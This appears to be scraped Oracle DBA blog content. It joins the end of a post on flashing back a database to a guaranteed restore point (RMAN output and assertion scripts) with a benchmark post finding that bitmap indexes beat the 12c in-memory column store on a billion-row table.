piece handle=+RECO/TESTFB/BACKUPSET/2016_10_24/annnf0_tag20161024t210351_0.469.926111033 tag=TAG20161024T210351 comment=NONE
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:01
channel ORA_DISK_1: deleting archived log(s)
archived log file name=+RECO/TESTFB/ARCHIVELOG/2016_10_24/thread_1_seq_26.527.926109581 RECID=13 STAMP=926109581
channel ORA_DISK_1: deleting archived log(s)
archived log file name=+RECO/TESTFB/ARCHIVELOG/2016_10_24/thread_1_seq_22.465.926109543 RECID=11 STAMP=926109542
archived log file name=+RECO/TESTFB/ARCHIVELOG/2016_10_24/thread_1_seq_24.536.926109583 RECID=14 STAMP=926109582
archived log file name=+RECO/TESTFB/ARCHIVELOG/2016_10_24/thread_1_seq_25.456.926109579 RECID=12 STAMP=926109579
Finished backup at 20161024 21:03

RMAN> delete noprompt archivelog all;

released channel: ORA_DISK_1
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=30 device type=DISK
specification does not match any archived log in the repository

RMAN>

Recovery Manager complete.
[oracle@stormking TESTFB blog]$ sysdba @ flashback.db.to.restorepoint.sql

SQL*Plus: Release 12.1.0.2.0 Production on Mon Oct 24 21:04:21 2016

Copyright (c) 1982, 2014, Oracle. All rights reserved.


Connected to:
Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
With the Partitioning, Automatic Storage Management, OLAP, Advanced Analytics
and Real Application Testing options


no rows selected

a guaranteed restore point exists

NAME
--------------------------------------------------------------------------------
CONSISTENT_RP_20161024_2102

CONSISTENT_RP_20161024_2102
ORACLE instance started.

Total System Global Area 2533359616 bytes
Fixed Size 2927576 bytes
Variable Size 671089704 bytes
Database Buffers 1845493760 bytes
Redo Buffers 13848576 bytes
Database mounted.
old 1: flashback database to restore point &&name
new 1: flashback database to restore point CONSISTENT_RP_20161024_2102

Flashback complete.

SQL> alter database open resetlogs;

Database altered.

SQL>
SQL> quit
Disconnected from Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
With the Partitioning, Automatic Storage Management, OLAP, Advanced Analytics
and Real Application Testing options

Scripts that were used in this blog post, in alphabetical order:

assert.database.flashback.is.on.sql

whenever sqlerror exit 1
select 0 / 0 "chk that flashback is on"
from v$database
where FLASHBACK_ON != 'YES';

prompt flashback database is enabled

assert.database.is.consistent.sql:

whenever sqlerror exit 1

select 0 / 0 "chk datafiles are consistent"
from v$datafile_header
where status = 'ONLINE'
and fuzzy = 'YES';

prompt the database is consistent

assert.guaranteed.restorepoint.exists.sql:

whenever sqlerror exit 1

select 0 / 0 "chk for guar restore point"
from dual
where not exists
(
 select *
 from v$restore_point
 where guarantee_flashback_database = 'YES'
);

prompt a guaranteed restore point exists

assert.no.restore.point.exists.sql:

whenever sqlerror exit 1

select 0 / 0 "chk no restore point exists"
from v$restore_point
where rownum = 1;
prompt no restore point exists

cr.consistent.restorepoint.sql:

whenever oserror exit 1
whenever sqlerror exit 1
column inst format a8
set linesize 200
set trimspool on

@ assert.database.flashback.is.on.sql
@ vrestorepoint.sql
@ assert.no.restore.point.exists.sql

column rp new_value rp format a80
select 'consistent_rp_' || to_char ( sysdate , 'yyyymmdd_hh24mi' ) rp,
 sys_context( 'userenv', 'instance_name') inst
from dual;

prompt &&rp

shutdown immediate
startup mount

@ assert.database.is.consistent.sql

create restore point &&rp guarantee flashback database;

@ vrestorepoint.sql
quit

cr.fbdemo.restorepoint.sql:

whenever oserror exit 1
whenever sqlerror exit 1
column inst format a8
set linesize 200
set trimspool on

@ assert.database.flashback.is.on.sql
@ vrestorepoint.sql
@ assert.no.restore.point.exists.sql

column rp new_value rp format a80
select 'fbdemo_rp_' || to_char ( sysdate , 'yyyymmdd_hh24mi' ) rp,
 sys_context( 'userenv', 'instance_name') inst
from dual;

prompt &&rp

alter system checkpoint;
alter system switch logfile;

create restore point &&rp guarantee flashback database;

@ vrestorepoint.sql
quit

vrestorepoint.sql:

set linesize 200
set trimspool on
set pagesize 900
column scn format 999999999999999
column time format a16
column name format a40

alter session set nls_timestamp_format = 'yyyy-mm-dd hh24:mi';

select rp.scn,
 rp.database_incarnation#,
 rp.guarantee_flashback_database,
 rp.time,
 rp.name
from v$restore_point rp;

12c in-memory column store vs. bitmap index: bitmap wins!

By: Brian Fitzgerald

This article compares response time for Oracle Database 12.1.0.2 in memory database compares with response time for a bitmap index.

The configuration for this instance is:


*.audit_file_dest='/u01/app/oracle/admin/gp12102/adump'
*.audit_trail='DB'
*.compatible='12.1.0.2.0'
*.control_files='+DATARDBMS10/GP12102/CONTROLFILE/current.300.860076553','+FRARDBMS10/GP12102/CONTROLFILE/current.272.860076555'
*.db_block_size=8192
*.db_create_file_dest='+DATARDBMS10'
*.db_domain=''
*.db_name='gp12102'
*.db_recovery_file_dest='+FRARDBMS10'
*.db_recovery_file_dest_size=4560M
*.diagnostic_dest='/u01/app/oracle'
*.dispatchers='(PROTOCOL=TCP) (SERVICE=gp12102XDB)'
*.inmemory_size=9961472000
*.local_listener='LISTENER_GP12102'
*.memory_max_target=0
*.memory_target=0
*.open_cursors=300
*.pga_aggregate_limit=8589934592
*.pga_aggregate_target=4294967296
*.processes=300
*.recyclebin='OFF'
*.remote_login_passwordfile='EXCLUSIVE'
*.sga_max_size=11744051200
*.sga_target=11744051200
*.undo_tablespace='UNDOTBS1'
*.use_large_pages='ONLY'

First, let’s create a table with a billion rows

create table tmod (
 n number,
 m2 number,
 m3 number,
 m5 number,
 m7 number,
 m11 number,
 m13 number,
 m17 number,
 m19 number,
 m23 number,
 m29 number
)
compress
inmemory;

declare
 maxnumber number := 1000000000;
 offset number;
 mult number := 100000;
begin
 for i in 0..maxnumber/mult-1
 loop
 offset := i * mult;
 insert /*+ append */
 into tmod (
 n,
 m2,
 m3,
 m5,
 m7,
 m11,
 m13,
 m17,
 m19,
 m23,
 m29
 )
 select
 level + offset n,
 mod( level + offset, 2 ) n2,
 mod( level + offset, 3 ) n3,
 mod( level + offset, 5 ) n5,
 mod( level + offset, 7 ) n7,
 mod( level + offset, 11 ) n11,
 mod( level + offset, 13 ) n13,
 mod( level + offset, 17 ) n17,
 mod( level + offset, 19 ) n19,
 mod( level + offset, 23 ) n23,
 mod( level + offset, 29 ) n29
 from dual
 connect by level <= mult
 ;

 commit;
 end loop;
end;
/

create bitmap index tmod_m2_idx on tmod( m2 );
create bitmap index tmod_m3_idx on tmod( m3 );
create bitmap index tmod_m5_idx on tmod( m5 );
create bitmap index tmod_m7_idx on tmod( m7 );
create bitmap index tmod_m11_idx on tmod( m11 );
create bitmap index tmod_m13_idx on tmod( m13 );
create bitmap index tmod_m17_idx on tmod( m17 );
create bitmap index tmod_m19_idx on tmod( m19 );
create bitmap index tmod_m23_idx on tmod( m23 );
create bitmap index tmod_m29_idx on tmod( m29 );

begin
dbms_stats.gather_table_stats
(
 ownname => null,
tabname => 'TMOD'
);
end;
/
alter table tmod inmemory priority critical;
alter table tmod inmemory memcompress for capacity high;
Table dropped.

Table created.

PL/SQL procedure successfully completed.

Index created.

Index created.

Index created.

Index created.

Index created.

Index created.

Index created.

Index created.

Index created.

Index created.

PL/SQL procedure successfully completed.

Table altered.

Table altered.

Check that the in-memory column store is populated.

set linesize 200
set trimspool on
column owner format a10
column segment_name format a30

select owner, segment_name,
bytes / 1024 / 1024 mb,
round ( ( bytes - bytes_not_populated ) / 1024 / 1024 ) mbpop,
round ( ( bytes - bytes_not_populated ) * 100 / bytes ) pctpop,
round ( ( inmemory_size ) / 1024 / 1024 ) mbinmem,
inmemory_priority pri,
inmemory_compression,
populate_status
from
gv$im_segments
;
OWNER SEGMENT_NAME MB MBPOP PCTPOP MBINMEM PRI INMEMORY_COMPRESS POPULATE_
---------- ------------------------------ ---------- ---------- ---------- ---------- -------- ----------------- ---------
BRIAN TMOD 20608 20608 100 2731 NONE FOR CAPACITY HIGH COMPLETED

100% populated!

Let’s try it!

select
min(n) + 1 euclid
from tmod
where m2 = 0
and m3 = 0
and m5 = 0
and m7 = 0
and m11 = 0
and m13 = 0
and m17 = 0
and m19 = 0
and m23 = 0
and m29 != 0
 EUCLID
----------
 223092871

1 row selected.

Elapsed: 00:00:04.25

PLAN_TABLE_OUTPUT
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
SQL_ID gbbjq4yhfhf2j, child number 0
-------------------------------------
select min(n) + 1 euclid from tmod where m2 = 0 and m3 = 0 and m5 = 0
and m7 = 0 and m11 = 0 and m13 = 0 and m17 = 0 and m19 = 0 and m23 = 0
and m29 != 0

Plan hash value: 1674668081

-----------------------------------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time |
-----------------------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | | | 35849 (100)| |
| 1 | SORT AGGREGATE | | 1 | 37 | | |
|* 2 | TABLE ACCESS BY INDEX ROWID BATCHED| TMOD | 4 | 148 | 35849 (1)| 00:00:02 |
| 3 | BITMAP CONVERSION TO ROWIDS | | | | | |
| 4 | BITMAP AND | | | | | |
|* 5 | BITMAP INDEX SINGLE VALUE | TMOD_M23_IDX | | | | |
|* 6 | BITMAP INDEX SINGLE VALUE | TMOD_M19_IDX | | | | |
|* 7 | BITMAP INDEX SINGLE VALUE | TMOD_M17_IDX | | | | |
|* 8 | BITMAP INDEX SINGLE VALUE | TMOD_M11_IDX | | | | |
-----------------------------------------------------------------------------------------------------

Outline Data
-------------

 /*+
 BEGIN_OUTLINE_DATA
 IGNORE_OPTIM_EMBEDDED_HINTS
 OPTIMIZER_FEATURES_ENABLE('12.1.0.2')
 DB_VERSION('12.1.0.2')
 ALL_ROWS
 OUTLINE_LEAF(@"SEL$1")
 BITMAP_TREE(@"SEL$1" "TMOD"@"SEL$1" AND(("TMOD"."M23") ("TMOD"."M19") ("TMOD"."M17")
 ("TMOD"."M11")))
 BATCH_TABLE_ACCESS_BY_ROWID(@"SEL$1" "TMOD"@"SEL$1")
 END_OUTLINE_DATA
 */

Predicate Information (identified by operation id):
---------------------------------------------------

 2 - filter(("M13"=0 AND "M7"=0 AND "M5"=0 AND "M3"=0 AND "M2"=0 AND "M29"<>0))
5 - access("M23"=0)
6 - access("M19"=0)
7 - access("M17"=0)
8 - access("M11"=0)

47 rows selected.

The optimizer chose a bitmap index access path. There were 24 such test runs using bitmap indexes. Average 4.21s

Now let’s try the in-memory column store.

alter index tmod_m2_idx invisible;
alter index tmod_m3_idx invisible;
alter index tmod_m5_idx invisible;
alter index tmod_m7_idx invisible;
alter index tmod_m11_idx invisible;
alter index tmod_m13_idx invisible;
alter index tmod_m17_idx invisible;
alter index tmod_m19_idx invisible;
alter index tmod_m23_idx invisible;
alter index tmod_m29_idx invisible;
Index altered.

Index altered.

Index altered.

Index altered.

Index altered.

Index altered.

Index altered.

Index altered.

Index altered.

EUCLID
----------
 223092871

1 row selected.

Elapsed: 00:00:04.71

PLAN_TABLE_OUTPUT
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
SQL_ID gbbjq4yhfhf2j, child number 0
-------------------------------------
select min(n) + 1 euclid from tmod where m2 = 0 and m3 = 0 and m5 = 0
and m7 = 0 and m11 = 0 and m13 = 0 and m17 = 0 and m19 = 0 and m23 = 0
and m29 != 0

Plan hash value: 17535997

------------------------------------------------------------------------------------
| Id | Operation | Name | Rows | Bytes | Cost (%CPU)| Time |
------------------------------------------------------------------------------------
| 0 | SELECT STATEMENT | | | | 68899 (100)| |
| 1 | SORT AGGREGATE | | 1 | 37 | | |
|* 2 | TABLE ACCESS INMEMORY FULL| TMOD | 4 | 148 | 68899 (59)| 00:00:03 |
------------------------------------------------------------------------------------

Outline Data
-------------
/*+
BEGIN_OUTLINE_DATA
IGNORE_OPTIM_EMBEDDED_HINTS
OPTIMIZER_FEATURES_ENABLE('12.1.0.2')
DB_VERSION('12.1.0.2')
ALL_ROWS
OUTLINE_LEAF(@"SEL$1")
FULL(@"SEL$1" "TMOD"@"SEL$1")
END_OUTLINE_DATA
*/

Predicate Information (identified by operation id):
---------------------------------------------------

2 - inmemory(("M23"=0 AND "M19"=0 AND "M17"=0 AND "M13"=0 AND "M11"=0
AND "M7"=0 AND "M5"=0 AND "M3"=0 AND "M2"=0 AND "M29"<>0))
filter(("M23"=0 AND "M19"=0 AND "M17"=0 AND "M13"=0 AND "M11"=0 AND
"M7"=0 AND "M5"=0 AND "M3"=0 AND "M2"=0 AND "M29"<>0))
38 rows selected.

 altered.

There were 9 such in-memory tests. 4.68s average.

Bitmap index was 9% faster!

Bitmap wins!

Notes:

1. In-memory population took 2 hours! For faster repopulation, try other memcompress options or no memcompress.

2. Repopulation happens after instance restart or alter table, so plan carefully! For higher availability, try RAC!

3. The first bitmap index test run after instance restart read the index from disk, took much longer, and was not considered in the bitmap average.

4. In-memory test runs during the repopulation runs ran much longer and were not considered in the in-memory average.

5. Note that the optimizer did not choose to use indexes tmod_m2_idx, tmod_m3_idx, tmod_m5_idx, and tmod_m7_idx. The indexes are not selective enough!


TABLE_NAME COLUMN_NAME NUM_NULLS NUM_DISTINCT
------------------------------ ------------------------------ ---------- ------------
TMOD N 0 1000000000
TMOD M2 0 2
TMOD M3 0 3
TMOD M5 0 5
TMOD M7 0 7
TMOD M11 0 11
TMOD M13 0 13
TMOD M17 0 17
TMOD M19 0 19
TMOD M23 0 23
TMOD M29 0 29

6. The purpose of this blog posting was to compare the in-memory column store to bitmap indexes, not to calculate Euclid numbers. There are simpler ways to calculate Euclid numbers. 🙂